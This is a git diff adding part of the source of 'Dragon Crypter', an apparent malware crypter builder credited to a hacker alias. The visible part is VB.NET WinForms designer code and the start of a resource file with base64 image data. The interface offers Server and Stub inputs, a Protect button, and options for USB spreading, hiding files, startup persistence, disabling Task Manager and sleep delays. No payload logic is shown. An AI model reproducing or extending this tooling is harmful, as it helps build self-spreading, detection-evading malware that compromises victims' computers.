Me.LogInProgressBar1.BorderColour = System.Drawing.Color.FromArgb(CType(CType(35, Byte), Integer), CType(CType(35, Byte), Integer), CType(CType(35, Byte), Integer)) + Me.LogInProgressBar1.FontColour = System.Drawing.Color.FromArgb(CType(CType(50, Byte), Integer), CType(CType(50, Byte), Integer), CType(CType(50, Byte), Integer)) + Me.LogInProgressBar1.Location = New System.Drawing.Point(12, 465) + Me.LogInProgressBar1.Maximum = 100 + Me.LogInProgressBar1.Name = "LogInProgressBar1" + Me.LogInProgressBar1.ProgressColour = System.Drawing.Color.FromArgb(CType(CType(0, Byte), Integer), CType(CType(160, Byte), Integer), CType(CType(199, Byte), Integer)) + Me.LogInProgressBar1.SecondColour = System.Drawing.Color.FromArgb(CType(CType(0, Byte), Integer), CType(CType(145, Byte), Integer), CType(CType(184, Byte), Integer)) + Me.LogInProgressBar1.Size = New System.Drawing.Size(376, 25) + Me.LogInProgressBar1.TabIndex = 16 + Me.LogInProgressBar1.Text = "LogInProgressBar1" + Me.LogInProgressBar1.TwoColour = True + Me.LogInProgressBar1.Value = 0 + ' + 'StControlButton2 + ' + Me.StControlButton2.Anchor = CType((System.Windows.Forms.AnchorStyles.Top Or System.Windows.Forms.AnchorStyles.Right), System.Windows.Forms.AnchorStyles) + Me.StControlButton2.ControlButton = Builder_Crypter__By___ıllıllıMя.HackeяsDzıllıllı_.STControlButton.Button.Minimize + Me.StControlButton2.Location = New System.Drawing.Point(379, 0) + Me.StControlButton2.Margin = New System.Windows.Forms.Padding(0) + Me.StControlButton2.Name = "StControlButton2" + Me.StControlButton2.Size = New System.Drawing.Size(18, 20) + Me.StControlButton2.Text = "StControlButton2" + ' + 'StControlButton1 + ' + Me.StControlButton1.Anchor = CType((System.Windows.Forms.AnchorStyles.Top Or System.Windows.Forms.AnchorStyles.Right), System.Windows.Forms.AnchorStyles) + Me.StControlButton1.ControlButton = Builder_Crypter__By___ıllıllıMя.HackeяsDzıllıllı_.STControlButton.Button.Close + Me.StControlButton1.Location = New System.Drawing.Point(397, 0) + Me.StControlButton1.Margin = New System.Windows.Forms.Padding(0) + Me.StControlButton1.Name = "StControlButton1" + Me.StControlButton1.Size = New System.Drawing.Size(18, 20) + Me.StControlButton1.Text = "StControlButton1" + ' + 'LogInNormalTextBox2 + ' + Me.LogInNormalTextBox2.BackColor = System.Drawing.Color.Transparent + Me.LogInNormalTextBox2.BackgroundColour = System.Drawing.Color.FromArgb(CType(CType(42, Byte), Integer), CType(CType(42, Byte), Integer), CType(CType(42, Byte), Integer)) + Me.LogInNormalTextBox2.BorderColour = System.Drawing.Color.FromArgb(CType(CType(35, Byte), Integer), CType(CType(35, Byte), Integer), CType(CType(35, Byte), Integer)) + Me.LogInNormalTextBox2.Location = New System.Drawing.Point(12, 161) + Me.LogInNormalTextBox2.MaxLength = 32767 + Me.LogInNormalTextBox2.Multiline = False + Me.LogInNormalTextBox2.Name = "LogInNormalTextBox2" + Me.LogInNormalTextBox2.ReadOnly = False + Me.LogInNormalTextBox2.Size = New System.Drawing.Size(286, 29) + Me.LogInNormalTextBox2.Style = Builder_Crypter__By___ıllıllıMя.HackeяsDzıllıllı_.LogInNormalTextBox.Styles.NotRounded + Me.LogInNormalTextBox2.TabIndex = 12 + Me.LogInNormalTextBox2.TextAlign = System.Windows.Forms.HorizontalAlignment.Left + Me.LogInNormalTextBox2.TextColour = System.Drawing.Color.Lime + Me.LogInNormalTextBox2.UseSystemPasswordChar = False + ' + 'LogInNormalTextBox1 + ' + Me.LogInNormalTextBox1.BackColor = System.Drawing.Color.Transparent + Me.LogInNormalTextBox1.BackgroundColour = System.Drawing.Color.FromArgb(CType(CType(42, Byte), Integer), CType(CType(42, Byte), Integer), CType(CType(42, Byte), Integer)) + Me.LogInNormalTextBox1.BorderColour = System.Drawing.Color.FromArgb(CType(CType(35, Byte), Integer), CType(CType(35, Byte), Integer), CType(CType(35, Byte), Integer)) + Me.LogInNormalTextBox1.Location = New System.Drawing.Point(12, 208) + Me.LogInNormalTextBox1.MaxLength = 32767 + Me.LogInNormalTextBox1.Multiline = False + Me.LogInNormalTextBox1.Name = "LogInNormalTextBox1" + Me.LogInNormalTextBox1.ReadOnly = False + Me.LogInNormalTextBox1.Size = New System.Drawing.Size(286, 29) + Me.LogInNormalTextBox1.Style = Builder_Crypter__By___ıllıllıMя.HackeяsDzıllıllı_.LogInNormalTextBox.Styles.NotRounded + Me.LogInNormalTextBox1.TabIndex = 11 + Me.LogInNormalTextBox1.TextAlign = System.Windows.Forms.HorizontalAlignment.Left + Me.LogInNormalTextBox1.TextColour = System.Drawing.Color.Lime + Me.LogInNormalTextBox1.UseSystemPasswordChar = False + ' + 'StButton4 + ' + Me.StButton4.BackColorBottom = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(40, Byte), Integer), CType(CType(40, Byte), Integer)) + Me.StButton4.BackColorTop = System.Drawing.Color.FromArgb(CType(CType(60, Byte), Integer), CType(CType(60, Byte), Integer), CType(CType(60, Byte), Integer)) + Me.StButton4.DisabledBottomColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(40, Byte), Integer), CType(CType(40, Byte), Integer)) + Me.StButton4.DisabledTopColor = System.Drawing.Color.FromArgb(CType(CType(30, Byte), Integer), CType(CType(30, Byte), Integer), CType(CType(30, Byte), Integer)) + Me.StButton4.Font = New System.Drawing.Font("Times New Roman", 15.75!, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.StButton4.HorizontalTextAlign = System.Drawing.StringAlignment.Center + Me.StButton4.HoverBackColor = System.Drawing.Color.FromArgb(CType(CType(60, Byte), Integer), CType(CType(60, Byte), Integer), CType(CType(60, Byte), Integer)) + Me.StButton4.HoverColor = System.Drawing.Color.FromArgb(CType(CType(80, Byte), Integer), CType(CType(80, Byte), Integer), CType(CType(80, Byte), Integer)) + Me.StButton4.Location = New System.Drawing.Point(63, 422) + Me.StButton4.MinimumSize = New System.Drawing.Size(15, 15) + Me.StButton4.Name = "StButton4" + Me.StButton4.OutlineColor = System.Drawing.Color.FromArgb(CType(CType(30, Byte), Integer), CType(CType(30, Byte), Integer), CType(CType(30, Byte), Integer)) + Me.StButton4.OutlineThickness = 1 + Me.StButton4.PressedBottomColor = System.Drawing.Color.FromArgb(CType(CType(50, Byte), Integer), CType(CType(50, Byte), Integer), CType(CType(50, Byte), Integer)) + Me.StButton4.PressedTopColor = System.Drawing.Color.FromArgb(CType(CType(70, Byte), Integer), CType(CType(70, Byte), Integer), CType(CType(70, Byte), Integer)) + Me.StButton4.Radius = 3 + Me.StButton4.Size = New System.Drawing.Size(266, 37) + Me.StButton4.TabIndex = 8 + Me.StButton4.Text = "Protect" + Me.StButton4.TextBackColor = System.Drawing.Color.Black + Me.StButton4.TextColor = System.Drawing.Color.White + Me.StButton4.VerticalTextAlign = System.Drawing.StringAlignment.Center + ' + 'LogInGroupBox2 + ' + Me.LogInGroupBox2.BorderColour = System.Drawing.Color.FromArgb(CType(CType(35, Byte), Integer), CType(CType(35, Byte), Integer), CType(CType(35, Byte), Integer)) + Me.LogInGroupBox2.Controls.Add(Me.StCheckBox5) + Me.LogInGroupBox2.Controls.Add(Me.StCheckBox4) + Me.LogInGroupBox2.Controls.Add(Me.StCheckBox3) + Me.LogInGroupBox2.Controls.Add(Me.StCheckBox2) + Me.LogInGroupBox2.Controls.Add(Me.StCheckBox1) + Me.LogInGroupBox2.Font = New System.Drawing.Font("Times New Roman", 12.0!, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.LogInGroupBox2.HeaderColour = System.Drawing.Color.FromArgb(CType(CType(42, Byte), Integer), CType(CType(42, Byte), Integer), CType(CType(42, Byte), Integer)) + Me.LogInGroupBox2.Location = New System.Drawing.Point(12, 297) + Me.LogInGroupBox2.MainColour = System.Drawing.Color.FromArgb(CType(CType(47, Byte), Integer), CType(CType(47, Byte), Integer), CType(CType(47, Byte), Integer)) + Me.LogInGroupBox2.Name = "LogInGroupBox2" + Me.LogInGroupBox2.Size = New System.Drawing.Size(385, 119) + Me.LogInGroupBox2.TabIndex = 7 + Me.LogInGroupBox2.Text = "Settings" + Me.LogInGroupBox2.TextColour = System.Drawing.Color.FromArgb(CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer)) + ' + 'StCheckBox5 + ' + Me.StCheckBox5.BackColorBottom = System.Drawing.Color.Empty + Me.StCheckBox5.BackColorTop = System.Drawing.Color.Empty + Me.StCheckBox5.BorderThickness = 2 + Me.StCheckBox5.Checked = False + Me.StCheckBox5.CheckedColor = System.Drawing.Color.Lime + Me.StCheckBox5.CheckedColorBack = System.Drawing.Color.Black + Me.StCheckBox5.CheckedType = Builder_Crypter__By___ıllıllıMя.HackeяsDzıllıllı_.STCheckBox.CheckedTypes.Blop + Me.StCheckBox5.Font = New System.Drawing.Font("Times New Roman", 11.25!, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.StCheckBox5.Location = New System.Drawing.Point(267, 33) + Me.StCheckBox5.Name = "StCheckBox5" + Me.StCheckBox5.OutlineColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(40, Byte), Integer), CType(CType(40, Byte), Integer)) + Me.StCheckBox5.Size = New System.Drawing.Size(109, 23) + Me.StCheckBox5.TabIndex = 34 + Me.StCheckBox5.Text = "USB Spread" + Me.StCheckBox5.TextColor = System.Drawing.Color.White + Me.StCheckBox5.TextColorBack = System.Drawing.Color.Black + ' + 'StCheckBox4 + ' + Me.StCheckBox4.BackColorBottom = System.Drawing.Color.Empty + Me.StCheckBox4.BackColorTop = System.Drawing.Color.Empty + Me.StCheckBox4.BorderThickness = 2 + Me.StCheckBox4.Checked = False + Me.StCheckBox4.CheckedColor = System.Drawing.Color.Lime + Me.StCheckBox4.CheckedColorBack = System.Drawing.Color.Black + Me.StCheckBox4.CheckedType = Builder_Crypter__By___ıllıllıMя.HackeяsDzıllıllı_.STCheckBox.CheckedTypes.Blop + Me.StCheckBox4.Font = New System.Drawing.Font("Times New Roman", 11.25!, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.StCheckBox4.Location = New System.Drawing.Point(267, 83) + Me.StCheckBox4.Name = "StCheckBox4" + Me.StCheckBox4.OutlineColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(40, Byte), Integer), CType(CType(40, Byte), Integer)) + Me.StCheckBox4.Size = New System.Drawing.Size(85, 23) + Me.StCheckBox4.TabIndex = 33 + Me.StCheckBox4.Text = "HideFile" + Me.StCheckBox4.TextColor = System.Drawing.Color.White + Me.StCheckBox4.TextColorBack = System.Drawing.Color.Black + ' + 'StCheckBox3 + ' + Me.StCheckBox3.BackColorBottom = System.Drawing.Color.Empty + Me.StCheckBox3.BackColorTop = System.Drawing.Color.Empty + Me.StCheckBox3.BorderThickness = 2 + Me.StCheckBox3.Checked = False + Me.StCheckBox3.CheckedColor = System.Drawing.Color.Lime + Me.StCheckBox3.CheckedColorBack = System.Drawing.Color.Black + Me.StCheckBox3.CheckedType = Builder_Crypter__By___ıllıllıMя.HackeяsDzıllıllı_.STCheckBox.CheckedTypes.Blop + Me.StCheckBox3.Font = New System.Drawing.Font("Times New Roman", 11.25!, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.StCheckBox3.Location = New System.Drawing.Point(109, 33) + Me.StCheckBox3.Name = "StCheckBox3" + Me.StCheckBox3.OutlineColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(40, Byte), Integer), CType(CType(40, Byte), Integer)) + Me.StCheckBox3.Size = New System.Drawing.Size(141, 23) + Me.StCheckBox3.TabIndex = 32 + Me.StCheckBox3.Text = "RunOnceStartup" + Me.StCheckBox3.TextColor = System.Drawing.Color.White + Me.StCheckBox3.TextColorBack = System.Drawing.Color.Black + ' + 'StCheckBox2 + ' + Me.StCheckBox2.BackColorBottom = System.Drawing.Color.Empty + Me.StCheckBox2.BackColorTop = System.Drawing.Color.Empty + Me.StCheckBox2.BorderThickness = 2 + Me.StCheckBox2.Checked = False + Me.StCheckBox2.CheckedColor = System.Drawing.Color.Lime + Me.StCheckBox2.CheckedColorBack = System.Drawing.Color.Black + Me.StCheckBox2.CheckedType = Builder_Crypter__By___ıllıllıMя.HackeяsDzıllıllı_.STCheckBox.CheckedTypes.Blop + Me.StCheckBox2.Font = New System.Drawing.Font("Times New Roman", 11.25!, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.StCheckBox2.Location = New System.Drawing.Point(3, 83) + Me.StCheckBox2.Name = "StCheckBox2" + Me.StCheckBox2.OutlineColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(40, Byte), Integer), CType(CType(40, Byte), Integer)) + Me.StCheckBox2.Size = New System.Drawing.Size(150, 23) + Me.StCheckBox2.TabIndex = 31 + Me.StCheckBox2.Text = "AntiTaskManager" + Me.StCheckBox2.TextColor = System.Drawing.Color.White + Me.StCheckBox2.TextColorBack = System.Drawing.Color.Black + ' + 'StCheckBox1 + ' + Me.StCheckBox1.BackColorBottom = System.Drawing.Color.Empty + Me.StCheckBox1.BackColorTop = System.Drawing.Color.Empty + Me.StCheckBox1.BorderThickness = 2 + Me.StCheckBox1.Checked = False + Me.StCheckBox1.CheckedColor = System.Drawing.Color.Lime + Me.StCheckBox1.CheckedColorBack = System.Drawing.Color.Black + Me.StCheckBox1.CheckedType = Builder_Crypter__By___ıllıllıMя.HackeяsDzıllıllı_.STCheckBox.CheckedTypes.Blop + Me.StCheckBox1.Font = New System.Drawing.Font("Times New Roman", 11.25!, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.StCheckBox1.Location = New System.Drawing.Point(3, 33) + Me.StCheckBox1.Name = "StCheckBox1" + Me.StCheckBox1.OutlineColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(40, Byte), Integer), CType(CType(40, Byte), Integer)) + Me.StCheckBox1.Size = New System.Drawing.Size(63, 23) + Me.StCheckBox1.TabIndex = 30 + Me.StCheckBox1.Text = "Sleep" + Me.StCheckBox1.TextColor = System.Drawing.Color.White + Me.StCheckBox1.TextColorBack = System.Drawing.Color.Black + ' + 'StButton3 + ' + Me.StButton3.BackColorBottom = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(40, Byte), Integer), CType(CType(40, Byte), Integer)) + Me.StButton3.BackColorTop = System.Drawing.Color.FromArgb(CType(CType(60, Byte), Integer), CType(CType(60, Byte), Integer), CType(CType(60, Byte), Integer)) + Me.StButton3.DisabledBottomColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(40, Byte), Integer), CType(CType(40, Byte), Integer)) + Me.StButton3.DisabledTopColor = System.Drawing.Color.FromArgb(CType(CType(30, Byte), Integer), CType(CType(30, Byte), Integer), CType(CType(30, Byte), Integer)) + Me.StButton3.Font = New System.Drawing.Font("Times New Roman", 11.25!, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.StButton3.HorizontalTextAlign = System.Drawing.StringAlignment.Center + Me.StButton3.HoverBackColor = System.Drawing.Color.FromArgb(CType(CType(60, Byte), Integer), CType(CType(60, Byte), Integer), CType(CType(60, Byte), Integer)) + Me.StButton3.HoverColor = System.Drawing.Color.FromArgb(CType(CType(80, Byte), Integer), CType(CType(80, Byte), Integer), CType(CType(80, Byte), Integer)) + Me.StButton3.Location = New System.Drawing.Point(316, 252) + Me.StButton3.MinimumSize = New System.Drawing.Size(15, 15) + Me.StButton3.Name = "StButton3" + Me.StButton3.OutlineColor = System.Drawing.Color.FromArgb(CType(CType(30, Byte), Integer), CType(CType(30, Byte), Integer), CType(CType(30, Byte), Integer)) + Me.StButton3.OutlineThickness = 1 + Me.StButton3.PressedBottomColor = System.Drawing.Color.FromArgb(CType(CType(50, Byte), Integer), CType(CType(50, Byte), Integer), CType(CType(50, Byte), Integer)) + Me.StButton3.PressedTopColor = System.Drawing.Color.FromArgb(CType(CType(70, Byte), Integer), CType(CType(70, Byte), Integer), CType(CType(70, Byte), Integer)) + Me.StButton3.Radius = 3 + Me.StButton3.Size = New System.Drawing.Size(87, 29) + Me.StButton3.TabIndex = 5 + Me.StButton3.Text = "Generate" + Me.StButton3.TextBackColor = System.Drawing.Color.Black + Me.StButton3.TextColor = System.Drawing.Color.White + Me.StButton3.VerticalTextAlign = System.Drawing.StringAlignment.Center + ' + 'StButton2 + ' + Me.StButton2.BackColorBottom = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(40, Byte), Integer), CType(CType(40, Byte), Integer)) + Me.StButton2.BackColorTop = System.Drawing.Color.FromArgb(CType(CType(60, Byte), Integer), CType(CType(60, Byte), Integer), CType(CType(60, Byte), Integer)) + Me.StButton2.DisabledBottomColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(40, Byte), Integer), CType(CType(40, Byte), Integer)) + Me.StButton2.DisabledTopColor = System.Drawing.Color.FromArgb(CType(CType(30, Byte), Integer), CType(CType(30, Byte), Integer), CType(CType(30, Byte), Integer)) + Me.StButton2.Font = New System.Drawing.Font("Times New Roman", 11.25!, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.StButton2.HorizontalTextAlign = System.Drawing.StringAlignment.Center + Me.StButton2.HoverBackColor = System.Drawing.Color.FromArgb(CType(CType(60, Byte), Integer), CType(CType(60, Byte), Integer), CType(CType(60, Byte), Integer)) + Me.StButton2.HoverColor = System.Drawing.Color.FromArgb(CType(CType(80, Byte), Integer), CType(CType(80, Byte), Integer), CType(CType(80, Byte), Integer)) + Me.StButton2.Location = New System.Drawing.Point(316, 208) + Me.StButton2.MinimumSize = New System.Drawing.Size(15, 15) + Me.StButton2.Name = "StButton2" + Me.StButton2.OutlineColor = System.Drawing.Color.FromArgb(CType(CType(30, Byte), Integer), CType(CType(30, Byte), Integer), CType(CType(30, Byte), Integer)) + Me.StButton2.OutlineThickness = 1 + Me.StButton2.PressedBottomColor = System.Drawing.Color.FromArgb(CType(CType(50, Byte), Integer), CType(CType(50, Byte), Integer), CType(CType(50, Byte), Integer)) + Me.StButton2.PressedTopColor = System.Drawing.Color.FromArgb(CType(CType(70, Byte), Integer), CType(CType(70, Byte), Integer), CType(CType(70, Byte), Integer)) + Me.StButton2.Radius = 3 + Me.StButton2.Size = New System.Drawing.Size(87, 29) + Me.StButton2.TabIndex = 4 + Me.StButton2.Text = "Stub" + Me.StButton2.TextBackColor = System.Drawing.Color.Black + Me.StButton2.TextColor = System.Drawing.Color.White + Me.StButton2.VerticalTextAlign = System.Drawing.StringAlignment.Center + ' + 'StButton1 + ' + Me.StButton1.BackColorBottom = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(40, Byte), Integer), CType(CType(40, Byte), Integer)) + Me.StButton1.BackColorTop = System.Drawing.Color.FromArgb(CType(CType(60, Byte), Integer), CType(CType(60, Byte), Integer), CType(CType(60, Byte), Integer)) + Me.StButton1.DisabledBottomColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(40, Byte), Integer), CType(CType(40, Byte), Integer)) + Me.StButton1.DisabledTopColor = System.Drawing.Color.FromArgb(CType(CType(30, Byte), Integer), CType(CType(30, Byte), Integer), CType(CType(30, Byte), Integer)) + Me.StButton1.Font = New System.Drawing.Font("Times New Roman", 9.75!, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.StButton1.HorizontalTextAlign = System.Drawing.StringAlignment.Center + Me.StButton1.HoverBackColor = System.Drawing.Color.FromArgb(CType(CType(60, Byte), Integer), CType(CType(60, Byte), Integer), CType(CType(60, Byte), Integer)) + Me.StButton1.HoverColor = System.Drawing.Color.FromArgb(CType(CType(80, Byte), Integer), CType(CType(80, Byte), Integer), CType(CType(80, Byte), Integer)) + Me.StButton1.Location = New System.Drawing.Point(316, 161) + Me.StButton1.MinimumSize = New System.Drawing.Size(15, 15) + Me.StButton1.Name = "StButton1" + Me.StButton1.OutlineColor = System.Drawing.Color.FromArgb(CType(CType(30, Byte), Integer), CType(CType(30, Byte), Integer), CType(CType(30, Byte), Integer)) + Me.StButton1.OutlineThickness = 1 + Me.StButton1.PressedBottomColor = System.Drawing.Color.FromArgb(CType(CType(50, Byte), Integer), CType(CType(50, Byte), Integer), CType(CType(50, Byte), Integer)) + Me.StButton1.PressedTopColor = System.Drawing.Color.FromArgb(CType(CType(70, Byte), Integer), CType(CType(70, Byte), Integer), CType(CType(70, Byte), Integer)) + Me.StButton1.Radius = 3 + Me.StButton1.Size = New System.Drawing.Size(87, 29) + Me.StButton1.TabIndex = 3 + Me.StButton1.Text = "Server" + Me.StButton1.TextBackColor = System.Drawing.Color.Black + Me.StButton1.TextColor = System.Drawing.Color.White + Me.StButton1.VerticalTextAlign = System.Drawing.StringAlignment.Center + ' + 'LogInNormalTextBox3 + ' + Me.LogInNormalTextBox3.BackColor = System.Drawing.Color.Transparent + Me.LogInNormalTextBox3.BackgroundColour = System.Drawing.Color.FromArgb(CType(CType(42, Byte), Integer), CType(CType(42, Byte), Integer), CType(CType(42, Byte), Integer)) + Me.LogInNormalTextBox3.BorderColour = System.Drawing.Color.FromArgb(CType(CType(35, Byte), Integer), CType(CType(35, Byte), Integer), CType(CType(35, Byte), Integer)) + Me.LogInNormalTextBox3.Location = New System.Drawing.Point(12, 252) + Me.LogInNormalTextBox3.MaxLength = 32767 + Me.LogInNormalTextBox3.Multiline = False + Me.LogInNormalTextBox3.Name = "LogInNormalTextBox3" + Me.LogInNormalTextBox3.ReadOnly = False + Me.LogInNormalTextBox3.Size = New System.Drawing.Size(286, 29) + Me.LogInNormalTextBox3.Style = Builder_Crypter__By___ıllıllıMя.HackeяsDzıllıllı_.LogInNormalTextBox.Styles.NotRounded + Me.LogInNormalTextBox3.TabIndex = 2 + Me.LogInNormalTextBox3.TextAlign = System.Windows.Forms.HorizontalAlignment.Left + Me.LogInNormalTextBox3.TextColour = System.Drawing.Color.Lime + Me.LogInNormalTextBox3.UseSystemPasswordChar = False + ' + 'Form1 + ' + Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!) + Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font + Me.ClientSize = New System.Drawing.Size(415, 502) + Me.Controls.Add(Me.StTheme1) + Me.FormBorderStyle = System.Windows.Forms.FormBorderStyle.None + Me.Icon = CType(resources.GetObject("$this.Icon"), System.Drawing.Icon) + Me.Name = "Form1" + Me.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen + Me.Text = " Dragon Crypter By [ıllıllıMя.HackeяsDzıllıllı]" + Me.TransparencyKey = System.Drawing.Color.Magenta + Me.StTheme1.ResumeLayout(false) + CType(Me.PictureBox1,System.ComponentModel.ISupportInitialize).EndInit + Me.LogInGroupBox2.ResumeLayout(false) + Me.ResumeLayout(false) + +End Sub + Friend WithEvents StTheme1 As Builder_Crypter__By___ıllıllıMя.HackeяsDzıllıllı_.STTheme + Friend WithEvents LogInGroupBox2 As Builder_Crypter__By___ıllıllıMя.HackeяsDzıllıllı_.LogInGroupBox + Friend WithEvents StButton3 As Builder_Crypter__By___ıllıllıMя.HackeяsDzıllıllı_.STButton + Friend WithEvents StButton2 As Builder_Crypter__By___ıllıllıMя.HackeяsDzıllıllı_.STButton + Friend WithEvents StButton1 As Builder_Crypter__By___ıllıllıMя.HackeяsDzıllıllı_.STButton + Friend WithEvents LogInNormalTextBox3 As Builder_Crypter__By___ıllıllıMя.HackeяsDzıllıllı_.LogInNormalTextBox + Friend WithEvents StButton4 As Builder_Crypter__By___ıllıllıMя.HackeяsDzıllıllı_.STButton + Friend WithEvents StCheckBox1 As Builder_Crypter__By___ıllıllıMя.HackeяsDzıllıllı_.STCheckBox + Friend WithEvents StCheckBox2 As Builder_Crypter__By___ıllıllıMя.HackeяsDzıllıllı_.STCheckBox + Friend WithEvents StCheckBox3 As Builder_Crypter__By___ıllıllıMя.HackeяsDzıllıllı_.STCheckBox + Friend WithEvents StCheckBox4 As Builder_Crypter__By___ıllıllıMя.HackeяsDzıllıllı_.STCheckBox + Friend WithEvents LogInNormalTextBox1 As Builder_Crypter__By___ıllıllıMя.HackeяsDzıllıllı_.LogInNormalTextBox + Friend WithEvents LogInNormalTextBox2 As Builder_Crypter__By___ıllıllıMя.HackeяsDzıllıllı_.LogInNormalTextBox + Friend WithEvents LogInProgressBar1 As Builder_Crypter__By___ıllıllıMя.HackeяsDzıllıllı_.LogInProgressBar + Friend WithEvents StControlButton2 As Builder_Crypter__By___ıllıllıMя.HackeяsDzıllıllı_.STControlButton + Friend WithEvents StControlButton1 As Builder_Crypter__By___ıllıllıMя.HackeяsDzıllıllı_.STControlButton + Friend WithEvents PictureBox1 As System.Windows.Forms.PictureBox + Friend WithEvents StCheckBox5 As Builder_Crypter__By___ıllıllıMя.HackeяsDzıllıllı_.STCheckBox + +End Class diff --git a/scode (Dragon Crypter/Builder Crypter By [ıllıllıMя.HackeяsDzıllıllı]/Form1.resx b/scode (Dragon Crypter/Builder Crypter By [ıllıllıMя.HackeяsDzıllıllı]/Form1.resx new file mode 100644 index 0000000..62da2f6 --- /dev/null +++ b/scode (Dragon Crypter/Builder Crypter By [ıllıllıMя.HackeяsDzıllıllı]/Form1.resx @@ -0,0 +1,11501 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + + /9j/4AAQSkZJRgABAQEASABIAAD/2wBDAAoHBwgHBgoICAgLCgoLDhgQDg0NDh0VFhEYIx8lJCIfIiEm + KzcvJik0KSEiMEExNDk7Pj4+JS5ESUM8SDc9Pjv/2wBDAQoLCw4NDhwQEBw7KCIoOzs7Ozs7Ozs7Ozs7 + Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozv/wAARCAWgCgADASIAAhEBAxEB/8QA + HAABAQEBAAMBAQAAAAAAAAAAAAECAwQFBgcI/8QAUxAAAQQBAwIFAgQDBgUCAQIXAQACAxEEEiExE0EF + FCJRYTJxBiOBoUKRsRUzUsHR4QckYvDxcoI0Q5KiFlNjwiVzstJEZIOzVFWTw9MXRXTi4//EABoBAQAD + AQEBAAAAAAAAAAAAAAABAgMEBQb/xAA0EQEBAAIBAwIDBgYDAQADAQAAAQIRAxIhMQRBEyJRBTJhcYHw + FEKRobHRI8Hh8RUzUqL/2gAMAwEAAhEDEQA/APyX8noWCet72dVpJ0OiDGfzfcE3fdaEpEpyOkdGmr7/ + AHVEjo5XTuiIY4DfawgjxjhgMTjqvlpN13tWXywDOk6rI1aSfp72rG90L3yvgdpkIquQrG5+O5xfAfzH + baaO/sgknlWvZ03U0/XpJqvlSXyvWYGGoz/eBpNfC6RPfjNcx+ObkcS2qI+ywwvgj6DoCXuugKooIfLd + cAH8qvUATpvsn/LeZq/ya4s6dS20vZB5UwHqEGqIo/KF7uh5ToHqaaravugjPK+Yc1zvyv4ASdN91mMY + xmeHuuMf3eomvmlt73ywnGbAQ8AXdUElkfkN6TYDqYQXA1QQZi8qS/qusAnRqJ+n4Ui8s5r+s6yD6dRN + 6e1LpI9+SGhkBuNwLrofoo+R+Q9j44CREfVdDf2QZi8sYiZnEv7lxOoe1KM6Hly57j1/ck6r7Lq575pI + 52QOLI7u6s/b7LJkc+ZuU2AmNoq9r+6DN4/ltQd+fXNnVqUk8uMcOicet7gnVfdb6rhN5ronp6ava/ug + ldHK7JfCRG8AXtYQYmOM2IGF1PPdpN13tSXyzQzomrPq0k/T3tbEjoXvmkhIbJVVVhGSugLi+AjqOsaa + /kgxL5cOYI3U0/XpJqvlSQY4laGH8s/XRNfFrbJHY4c18JBkcS0Cv5KRvdDGIXQkuN0NqKDDuh1gA78v + +IAmr7J+R1tN/l17nTqWg57IfLGIl5BA32Pympxh8t0jrr9Pugw3oGUhzvy/4QSavujRAZHBzrYPpsmv + laeXvi6AiIeAL9gj3PmZ02xEObV32QYj6Bc7qGx/DZPCsfQId1TdHbVd12WnudNQbEbYQSD/AEVc90zm + uZESIzvfv7IMRCAxkyn1+5Jv4RvR8uS8/nfJOq+y2ZDJIyVkRLWXzyVeoXPE4iJY0EXtaDFQ9C7PW+51 + Wj+j0AYz+d8E6r7rfUPV8z0T09NX3+6CUskM7oSGOAFirQZf5cRgxOIf7tJuu6S+XAZ0nVZGrST9Pe1t + sjopHSvhcGyVVchI3ux3Oc+EjqHat9/ZBH+WBZodTT9eknj5SQYomYGuqM/3mkmvi1qGR+MC18BuR1tD + a/krE9+PD0HQEvfdURRQRwxROAHflfxAE6b7KVjeZ03+TXFnTqWo3SRQeVMBLyDXFH5tC9/Q8p0T1NNd + qr3QZaMU5BaT+VXpBJ033SMYpmeHm4x/dhxNfNLTnPkg8q2A9QAA2RQ+VZZHzsMLMc6mkWDVBBiLypc/ + qm2//J6ia0/CQ+WcH9d1kH06ifp7UtSSPyQ0MgNxuBcCQP0R8rshzHxwOPSNnVXPsgzH5YwkzOJk93E3 + 